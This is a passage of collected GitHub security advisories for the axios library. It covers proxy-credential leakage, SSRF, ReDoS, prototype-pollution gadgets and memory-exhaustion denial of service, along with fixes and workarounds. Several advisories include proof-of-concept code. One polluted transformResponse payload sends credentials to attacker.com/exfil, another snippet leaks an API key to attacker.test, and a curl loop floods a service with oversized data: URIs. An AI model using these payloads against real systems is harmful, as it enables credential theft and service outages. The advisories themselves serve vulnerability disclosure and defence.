Finding B. lib/core/mergeConfig.js:25 correctly makes config = Object.create(null), but the descriptor passed on line 26 is a plain-object literal - its get/set lookups walk Object.prototype. A polluted non-function Object.prototype.get or .set makes Object.defineProperty throw TypeError: Getter must be a function (or Setter must be a function) before the call returns. The descriptor is built unconditionally on every mergeConfig invocation, so every axios request throws - POST, PUT, DELETE, PATCH, HEAD, QUERY, not only GET.

Suggested Fix

Use null-prototype objects in place of the plain-object literals at lib/utils.js:406 and lib/core/mergeConfig.js:26-31. The same descriptor pattern recurs at lib/core/AxiosError.js:37, lib/core/AxiosHeaders.js:100, lib/utils.js:447/454/492/498, and lib/adapters/adapters.js:28/32.

Resources

- CVE-2018-16487 - lodash.merge prototype pollution in lodash <= 4.17.10 - CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes

1 / 2
Source: GitHub
First published (updated )
Severity
8.2
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Axios’s Node.js HTTP adapter may forward a Proxy-Authorization header to a redirected origin during specific proxy-to-direct redirect flows.

This affects Node.js usage, where an initial HTTP request is sent through an authenticated HTTP proxy, redirects are followed, and the redirected URL is no longer proxied. Under affected redirect shapes, the final origin can receive the proxy credential that was intended only for the outbound proxy.

Impact

A malicious or attacker-controlled origin can cause an axios client to disclose its configured proxy credentials if all required conditions are present.

The leak is limited to Node.js HTTP adapter requests. Browser, XHR, fetch, and React Native adapter paths are not affected by this Node-specific proxy handling path.

The practical impact depends on the leaked credentials. If the credential is reusable and the proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy, subject to the proxy’s own network exposure, authorisation policy, and credential scope.

Affected Functionality

Affected functionality requires all of the following:

- Axios running in Node.js with the HTTP adapter. - An initial http:// request using an authenticated proxy from config.proxy or proxy environment variables. - Redirect following enabled. - A redirect target for which no proxy applies, such as no matching HTTPSPROXY or a matching NOPROXY. - A redirect shape treated as same-host or otherwise not stripped by the redirect layer’s confidential-header handling.

Unaffected functionality includes browser adapters, requests with maxRedirects: 0, requests without proxy credentials, and redirect flows where the redirect layer strips Proxy-Authorization before axios reconfigures the redirected request.

Technical Details

In affected versions, lib/adapters/http.js adds Proxy-Authorization in setProxy() when a proxy with credentials is used.

Axios also installs redirect proxy handling so redirected requests can re-run proxy resolution. Before the fix, when the redirected request no longer resolved to a proxy, setProxy() did not clear a Proxy-Authorization header inherited from the previous request options. If follow-redirects did not remove that header for the specific redirect shape, the redirected direct request carried the stale proxy credential to the origin.

The 1.x fix in commit afca61a changes setProxy(options, configProxy, location, isRedirect) so redirect re-invocation removes every case variant of Proxy-Authorization before applying proxy settings for the next hop. Regression tests in tests/unit/adapters/http.test.js cover no-proxy redirects, NOPROXY, different proxy targets, casing variants, and an end-to-end redirect flow.

The 0.x fixed release 0.32.0 includes a backport-style removeProxyAuthorization() guard in lib/adapters/http.js.

Proof of Concept of Attack

Safe local outline using dummy credentials:

js process.env.HTTPPROXY = 'http://user:pass@127.0.0.1:8080'; delete process.env.HTTPSPROXY;

// The local HTTP proxy receives this request and returns: // HTTP/1.1 302 Found // Location: https://attacker.test/final await axios.get('http://attacker.test/start');

Expected vulnerable behaviour:

text Proxy receives initial request: Proxy-Authorization: Basic dXNlcjpwYXNz

Final HTTPS origin receives redirected request: Proxy-Authorization: Basic dXNlcjpwYXNz

Expected fixed behaviour:

text Final HTTPS origin receives no Proxy-Authorization header.

Workarounds

Set maxRedirects: 0 and handle redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy.

Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.

<details> <summary>Original Source</summary>

Summary

Axios’s Node.js http adapter can incorrectly forward a retained Proxy-Authorization header to the final HTTPS origin during certain HTTP-to-HTTPS redirect flows.

When an initial HTTP request is sent through an authenticated HTTPPROXY, and the redirected HTTPS request is sent directly because no proxy applies to the redirected HTTPS URL, Axios retains the stale Proxy-Authorization header and forwards it to the final origin.

Details

The issue occurs during a proxy-to-direct transition across redirects.

When Axios sends an initial HTTP request through an authenticated HTTPPROXY, it correctly includes Proxy-Authorization for the proxy hop. If that response redirects to an HTTPS URL on the same hostname, and no proxy applies to the redirected HTTPS URL, the redirected request is sent directly to the final origin instead of through the proxy.

In the affected flow, the final HTTPS origin receives a Proxy-Authorization header value that was intended only for the outbound proxy.

Whether the issue is observable depends on how the redirect layer compares the host and port across the redirect. In the affected redirect shape, confidential-header handling does not remove the retained Proxy-Authorization header before the redirected request is sent.

Root Cause Analysis

Based on code review, Axios appears to create the stale header condition in its Node.js http adapter.

In lib/adapters/http.js: - When a proxy is used, Axios adds Proxy-Authorization in setProxy(). - Axios also re-runs proxy resolution after redirects via its redirect hook. - However, when the redirected request no longer uses a proxy, Axios does not explicitly clear a previously set Proxy-Authorization header.

As a result, Axios correctly adds proxy credentials for the first proxied request, but does not clear them when a later redirected request becomes direct.

A dependent factor is the behavior of the redirect layer. In the affected redirect shape, confidential-header handling does not remove the retained Proxy-Authorization header before the redirected request is sent. This appears to be why the issue is observable only for certain redirect shapes.

Client Conditions - the initial HTTP request uses an authenticated HTTPPROXY - no proxy applies to the redirected HTTPS URL (for example, no HTTPSPROXY is configured) - redirects are followed - the redirect is treated as same-host by the redirect layer

Under that redirect shape, the retained Proxy-Authorization header is not removed before the redirected request is sent to the final HTTPS origin.

Reproduction Outline

Detailed reproduction instructions were shared with the maintainers during coordinated disclosure. The public outline below preserves the validated configuration and observable behavior needed to assess exposure, while omitting environment-specific test-harness details.

The issue was reproduced only in a researcher-controlled local test environment using dummy proxy credentials.

The issue was confirmed under the following conditions:

- axios 1.13.6 - follow-redirects 1.15.11 - an authenticated proxy applying to the initial HTTP request - no proxy applying to the redirected HTTPS URL - redirects enabled - an HTTP-to-HTTPS redirect that is treated as same-host by the redirect layer

Observed behavior

- The initial HTTP request is sent through the proxy and includes Proxy-Authorization. - The redirected HTTPS request is sent directly to the final origin. - The redirected HTTPS request still includes the previously generated Proxy-Authorization header. - The final origin can receive a Proxy-Authorization header value that was intended only for the proxy.

Expected behavior

Axios should not send the Proxy-Authorization header on a redirected request that is no longer sent through a proxy.

Impact

Under the affected redirect and proxy configuration, the final HTTPS origin may receive a retained Proxy-Authorization header value that was intended only for the outbound proxy.

If that credential is valid and reusable, and the outbound proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy with the affected environment’s proxy credential, subject to the credential’s scope and the proxy’s access controls. </details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
7.8
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

A Regular Expression Denial of Service (ReDoS) vulnerability was found in the nodejs axios. This flaw allows an attacker to provide crafted input to the trim function, which might cause high resources consumption and as a consequence lead to denial of service. The highest threat from this vulnerability is system availability.

1 / 5
First published (updated )
Severity
7.7
EPSS
0.05%
SSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

js import axios from "axios";

const internalAPIClient = axios.create({ baseURL: "http://example.test/api/v1/users/", headers: { "X-API-KEY": "1234567890", }, });

// const userId = "123"; const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

- When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL. - Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

1. Set up two simple HTTP servers:

mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 &

2. Create a script (e.g., main.js):

js import axios from "axios"; const client = axios.create({ baseURL: "http://localhost:10001/" }); const response = await client.get("http://localhost:10002/"); console.log(response.data);

3. Run the script:

$ node main.js this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

- Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed. - SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running. - Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

1 / 2
Source: GitHub
First published (updated )
Severity
7.7
Code Injection
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L

Summary

Axios versions before the fixed releases contain prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted Object.prototype.transformResponse, affected Axios versions may treat that inherited value as request configuration or as an option validator.

Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.

Impact For ordinary prototype-pollution primitives that can only assign JSON-like values, this issue primarily results in request failures or denial-of-service attacks.

If the attacker can pollute Object.prototype.transformResponse with a function, affected versions of Axios may execute it. In fully affected versions, the function can observe response data and request config, including URL, headers, and auth, and can change the response data returned to application code.

This function-valued condition is important. Most query-string or JSON parser prototype-pollution bugs cannot create JavaScript functions on their own, so credential exposure and response tampering are conditional rather than automatic consequences of such bugs.

Affected Functionality The affected functionality is Axios request config processing and response transformation.

Affected use requires all of the following: - An affected Axios version. - A polluted Object.prototype in the same process or browser context. - Pollution before Axios merges or validates the request config. - A polluted key relevant to Axios config, especially transformResponse.

This is not specific to the Node HTTP adapter. Browser and Node usage can both pass through the shared config/transform pipeline, though real-world exploitability depends on the surrounding application and any helper vulnerabilities.

Technical Details In affected versions, mergeConfig() reads config values through normal property access. For config keys present in Axios defaults, including transformResponse, a missing own property on the request config can fall through to Object.prototype.

In the fully affected path, this means Object.prototype.transformResponse can replace Axios's default response transform. The selected transform is later executed by transformData() with the request config as this.

Some later affected v1 releases guarded the merge path but still used inherited properties while looking up validators in validator.assertOptions(). In that narrower case, a polluted function can still run during config validation and inspect the config argument, but it does not replace the response transform.

Fixed versions use own-property checks and null-prototype config objects, so inherited Object.prototype values are not treated as Axios config or validator schema entries.

Proof of Concept of Attack js import http from 'http'; import axios from 'axios';

const seen = [];

const server = http.createServer((req, res) => { res.setHeader('Content-Type', 'application/json'); res.end(JSON.stringify({ secret: 'response-secret' })); });

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));

Object.prototype.transformResponse = function pollutedTransform(data, headers, status) { if (headers && typeof status === 'number') { seen.push({ url: this.url, username: this.auth && this.auth.username, password: this.auth && this.auth.password, responseData: data });

return { hijacked: true }; }

return true; };

try { const { port } = server.address();

const response = await axios.get(http://127.0.0.1:${port}/users, { auth: { username: 'svc-account', password: 'prod-secret-key-123' } });

console.log(response.data); // { hijacked: true } console.log(seen[0]); // request config plus original response body } finally { delete Object.prototype.transformResponse;

server.close(); }

Expected result on fully affected versions: the polluted transform runs, captures request config and response data, and replaces the response returned to the caller.

Expected result on fixed versions: the polluted transform is ignored, and the original response is returned.

<details> <summary>Original source report</summary>

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into credential theft and response hijacking across all Axios requests.

The mergeConfig() function reads config properties via standard property access (config2[prop]), which traverses the JavaScript prototype chain. When Object.prototype.transformResponse is polluted with a function, it overrides the default JSON response parser for every request. The injected function executes with this = config, exposing auth.username, auth.password, request URL, and all headers.

Severity: High (CVSS 8.2) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/core/mergeConfig.js (Config Merge) + lib/core/transformData.js (Transform Execution)

CWE

- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

CVSS 3.1

Score: 9.4 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H

| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, a single property assignment exploits axios. Consistent with GHSA-fvcv-3m26-pcqx scoring | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Credential theft occurs within the same application process | | Confidentiality | High | this.auth.password, this.url, original response data all exfiltrated | | Integrity | Low | Response data is replaced with true — attacker cannot return arbitrary data due to assertOptions constraint (see below) | | Availability | High | Polluting with an array value causes TypeError: validator is not a function crash (DoS) on every request |

Relationship to GHSA-fvcv-3m26-pcqx

This vulnerability is in the same class as GHSA-fvcv-3m26-pcqx ("Unrestricted Cloud Metadata Exfiltration via Header Injection Chain"), which was also a PP gadget in axios rated Critical. Both require zero direct user input and exploit mergeConfig's prototype chain traversal.

| Factor | GHSA-fvcv-3m26-pcqx | This Vulnerability | |---|---|---| | Attack vector | PP → Header injection → Request smuggling | PP → Transform function override → Credential theft | | Fixed by 1.15.0 header sanitization? | Yes | No — different code path | | Affects | Requests using form-data package | All requests (transformResponse is in defaults) | | Impact | AWS IMDSv2 bypass, cloud compromise | Credential theft (auth, API keys), response hijacking, DoS |

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically pick up the polluted transformResponse property during its config merge.

The critical difference from GHSA-fvcv-3m26-pcqx: this vector was NOT fixed by the header sanitization patch in v1.15.0, because it does not use headers at all — it injects a function into the response processing pipeline.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

javascript Object.prototype.transformResponse = function(data, headers, status) { // Steal credentials via this context (this = full request config) if (this && this.url && typeof data === 'string') { fetch('https://attacker.com/exfil', { method: 'POST', body: JSON.stringify({ url: this.url, username: this.auth?.username, password: this.auth?.password, responseData: data, }) }); } return true; // MUST return true to pass assertOptions validator check };

Important constraint: The polluted value must be a function returning true, not an array. If an array is used, assertOptions() at validator.js:89-92 crashes with TypeError: validator is not a function (which is still a DoS vector). The function must return true because validator.js:93 checks result !== true.

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

javascript // This looks safe to the developer const response = await axios.get('https://api.internal/users', { auth: { username: 'svc-account', password: 'prod-secret-key-123!' } });

3. The Execution

Axios's mergeConfig() at mergeConfig.js:99-103 iterates config keys:

javascript utils.forEach(Object.keys({...config1, ...config2}), function computeConfigValue(prop) { // 'transformResponse' is in config1 (defaults) → included in keys const merge = mergeMap[prop]; // → defaultToConfig2 const configValue = merge(config1[prop], config2[prop], prop); // config2['transformResponse'] traverses prototype → finds polluted function! });

The polluted function then executes at transformData.js:21:

javascript data = fn.call(config, data, headers.normalize(), response ? response.status : undefined); // fn = attacker's function, this = config (containing auth credentials)

4. The Impact

Attacker receives at https://attacker.com/exfil:

{ "url": "https://api.internal/users", "username": "svc-account", "password": "prod-secret-key-123!", "responseData": "{\"users\":[{\"id\":1,\"role\":\"admin\"}]}" }

The response data seen by the application is true (the required return value), which will likely cause the application to malfunction but will not reveal the theft.

5. DoS Variant

javascript // Array pollution crashes every request Object.prototype.transformResponse = [function(d) { return d; }];

await axios.get('https://any-url.com'); // → TypeError: validator is not a function // Every request in the application crashes

Verified PoC Output

Step 1 - Normal behavior (before pollution): Default transformResponse function name: "transformResponse"

Step 2 - Polluting Object.prototype.transformResponse: Function replaced by attacker: true

Step 3 - Simulating dispatchRequest transformResponse: Original server response: {"secretkey":"sk-prod-a1b2c3d4","internalip":"10.0.0.5"} After malicious transform: true Response tampered: true

Step 4 - Exfiltrated data: Original response data: {"secretkey":"sk-prod-a1b2c3d4","internalip":"10.0.0.5"} Request URL: https://internal-api.corp/secrets Authentication info: {"username":"admin","password":"P@ssw0rd123!"}

Impact Analysis

- Credential Theft: this.auth.username, this.auth.password, this.headers.Authorization, and all other config properties are accessible to the injected function. The attacker can exfiltrate them to an external server. - Response Data Exfiltration: The original server response (data parameter) is available to the injected function before being replaced. - Universal Scope: Affects every axios request in the application, including all third-party libraries that use axios. - Denial of Service: Polluting with a non-function value crashes every request. - Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx fix) does not address this vector.

Limitations (Honest Assessment)

- Requires a separate prototype pollution vulnerability elsewhere in the dependency tree - Response data cannot be arbitrarily tampered — the function must return true to pass assertOptions - This is in-process JavaScript function execution, not OS-level RCE

Recommended Fix

Use hasOwnProperty checks in defaultToConfig2 to prevent prototype chain traversal:

javascript // In lib/core/mergeConfig.js function defaultToConfig2(a, b, prop) { if (Object.prototype.hasOwnProperty.call(config2, prop) && !utils.isUndefined(b)) { return getMergedValue(undefined, b); } else if (!utils.isUndefined(a)) { return getMergedValue(undefined, a); } }

Additionally, validate that transformResponse contains only functions before execution:

javascript // In lib/core/transformData.js utils.forEach(fns, function transform(fn) { if (typeof fn !== 'function') { throw new AxiosError('Transform must be a function', AxiosError.ERRBADOPTION); } data = fn.call(config, data, headers.normalize(), response ? response.status : undefined); });

Resources

- CWE-1321: Prototype Pollution - GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0) - Axios GitHub Repository - Snyk: Prototype Pollution

Timeline

| Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-15 | Initial PoC developed (array payload — crashes at validator.js) | | 2026-04-16 | PoC corrected (function payload returning true — works) | | 2026-04-16 | Report revised with accurate constraints | | TBD | Report submitted to vendor via GitHub Security Advisory | </details>

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
SSRF
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N

axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response. This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

js const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls); const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined); const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') { let convertedData; if (method !== 'GET') { return settle(resolve, reject, { status: 405, ... }); } convertedData = fromDataURI(config.url, responseType === 'blob', { Blob: config.env && config.env.Blob }); return settle(resolve, reject, { data: convertedData, status: 200, ... }); }

The decoder is in [lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

js export default function fromDataURI(uri, asBlob, options) { ... if (protocol === 'data') { uri = protocol.length ? uri.slice(protocol.length + 1) : uri; const match = DATAURLPATTERN.exec(uri); ... const body = match[3]; const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8'); if (asBlob) { return new Blob([buffer], {type: mime}); } return buffer; } throw new AxiosError('Unsupported protocol ' + protocol, ...); }

The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks. It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams. As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

js const axios = require('axios');

async function main() { // this example decodes ~120 MB const base64Size = 160000000; // 120 MB after decoding const base64 = 'A'.repeat(base64Size); const uri = 'data:application/octet-stream;base64,' + base64;

console.log('Generating URI with base64 length:', base64.length); const response = await axios.get(uri, { responseType: 'arraybuffer' });

console.log('Received bytes:', response.data.length); }

main().catch(err => { console.error('Error:', err.message); });

Run with limited heap to force a crash:

bash node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs ---> … FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory 1: 0x… node::Abort() … …

Mini Real App PoC: A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

js import express from "express"; import morgan from "morgan"; import axios from "axios"; import http from "node:http"; import https from "node:https"; import { PassThrough } from "node:stream";

const keepAlive = true; const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 }); const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 }); const axiosClient = axios.create({ timeout: 10000, maxRedirects: 5, httpAgent, httpsAgent, headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" }, validateStatus: c => c >= 200 && c < 400 });

const app = express(); const PORT = Number(process.env.PORT || 8081); const BODYLIMIT = process.env.MAXCLIENTBODY || "50mb";

app.use(express.json({ limit: BODYLIMIT })); app.use(morgan("combined"));

app.get("/healthz", (req,res)=>res.send("ok"));

/ POST /preview { "url": "<http|https|data URL>" } Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector). /

app.post("/preview", async (req, res) => { const url = req.body?.url; if (!url) return res.status(400).json({ error: "missing url" });

let u; try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }

// Developer allows using data:// in the allowlist const allowed = new Set(["http:", "https:", "data:"]); if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });

const controller = new AbortController(); const onClose = () => controller.abort(); res.on("close", onClose);

const before = process.memoryUsage().heapUsed;

try { const r = await axiosClient.get(u.toString(), { responseType: "stream", maxContentLength: 8 1024, // Axios will ignore this for data: maxBodyLength: 8 1024, // Axios will ignore this for data: signal: controller.signal });

// stream only the first 64KB back const cap = 64 1024; let sent = 0; const limiter = new PassThrough(); r.data.on("data", (chunk) => { if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); } else { sent += chunk.length; limiter.write(chunk); } }); r.data.on("end", () => limiter.end()); r.data.on("error", (e) => limiter.destroy(e));

const after = process.memoryUsage().heapUsed; res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2)); limiter.pipe(res); } catch (err) { const after = process.memoryUsage().heapUsed; res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2)); res.status(502).json({ error: String(err?.message || err) }); } finally { res.off("close", onClose); } });

app.listen(PORT, () => { console.log(axios-poc-link-preview listening on http://0.0.0.0:${PORT}); console.log(Heap cap via NODEOPTIONS, JSON limit via MAXCLIENTBODY (default ${BODYLIMIT}).); }); Run this app and send 3 post requests: sh SIZEMB=35 node -e 'const n=+process.env.SIZEMB10241024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \ | tee payload.json >/dev/null seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null

---

Suggestions

1. Enforce size limits For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.

2. Stream decoding Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

1 / 4
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.03%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing proto as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

javascript utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) { const merge = mergeMap[prop] || mergeDeepProperties; const configValue = merge(config1[prop], config2[prop], prop); (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue); });

When prop is 'proto':

1. JSON.parse('{"proto": {...}}') creates an object with proto as an own enumerable property 2. Object.keys() includes 'proto' in the iteration 3. mergeMap['proto'] performs prototype chain lookup, returning Object.prototype (truthy object) 4. The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype 5. Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

- Axios.request() at lib/core/Axios.js:75 - Axios.getUri() at lib/core/Axios.js:201 - All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC

javascript import axios from "axios";

const maliciousConfig = JSON.parse('{"proto": {"x": 1}}'); await axios.get("https://httpbin.org/get", maliciousConfig);

Reproduction steps:

1. Clone axios repository or npm install axios 2. Create file poc.mjs with the code above 3. Run: node poc.mjs 4. Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function at computeConfigValue (lib/core/mergeConfig.js:100:25) at Object.forEach (lib/utils.js:280:10) at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed: | Test | Config | Result | |------|--------|--------| | Normal config | {"timeout": 5000} | SUCCESS | | Malicious config | JSON.parse('{"proto": {"x": 1}}') | CRASH | | Nested object | {"headers": {"X-Test": "value"}} | SUCCESS |

Attack scenario: An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"proto": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

- Node.js servers using axios for HTTP requests - Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
SSRF
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, he fix for noproxy hostname normalization bypass is incomplete. When noproxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it. The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. This vulnerability is fixed in 1.15.1 and 0.31.1.

1 / 2
Source: MITRE
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

Axios versions 1.7.0 through 1.15.x did not enforce configured request and response size limits when requests were sent with the fetch adapter. Applications that selected adapter: 'fetch', or ran in environments where axios resolved to the fetch adapter, could receive or send bodies larger than maxContentLength or maxBodyLength despite those limits being explicitly configured.

This can cause resource exhaustion in server-side usage when a malicious or compromised server returns an oversized response, when an attacker can supply a large data: URL, or when an application forwards attacker-controlled request bodies through axios while relying on maxBodyLength as a boundary.

Impact

The impact is availability-only. Affected applications may process, buffer, or transmit data beyond the configured limit, potentially exhausting memory, CPU, or network resources.

This does not affect axios’s default unlimited behaviour by itself: maxContentLength and maxBodyLength default to -1. The vulnerability exists when an application has configured finite limits and expects axios to enforce them.

Server-side runtimes are the primary concern. Browser impact is generally constrained by the browser process and browser fetch behavior, and should not be described as server process exhaustion.

Affected Functionality

Affected functionality includes requests using the built-in fetch adapter with finite maxContentLength or maxBodyLength values.

Relevant configurations include:

- adapter: 'fetch' - adapter: ['fetch', ...] when fetch is selected - environments where neither xhr nor http is available and axios falls back to fetch - custom fetch environments configured through env.fetch

Unaffected functionality includes:

- Node.js default http adapter enforcement - versions before the fetch adapter was introduced - configurations that do not rely on finite axios size limits

Technical Details

In vulnerable versions, lib/adapters/fetch.js destructured request config without maxContentLength or maxBodyLength. The adapter dispatched fetch() and then materialized the response through text(), arrayBuffer(), blob(), or related resolvers without checking the configured response limit.

The fix in e5540dc added:

- maxContentLength and maxBodyLength reads in lib/adapters/fetch.js - upfront data: URL decoded-size checks - outbound body-size checks before dispatch - Content-Length response pre-checks - streaming response enforcement - fallback checks for environments without ReadableStream - regression tests in tests/unit/adapters/fetch.test.js

Proof of Concept of Attack

js import http from 'node:http'; import axios from 'axios';

const server = http.createServer((req, res) => { let received = 0;

req.on('data', chunk => { received += chunk.length; });

req.on('end', () => { res.end(JSON.stringify({ received })); }); });

await new Promise(resolve => server.listen(0, resolve)); const url = http://127.0.0.1:${server.address().port}/;

await axios.post(url, 'A'.repeat(2 1024 1024), { adapter: 'fetch', maxBodyLength: 1024 });

// Vulnerable versions succeed and the server receives 2097152 bytes. // Fixed versions reject with ERRBADREQUEST.

server.close();

Workarounds

Use the Node.js http adapter for server-side requests where finite size limits are security-relevant.

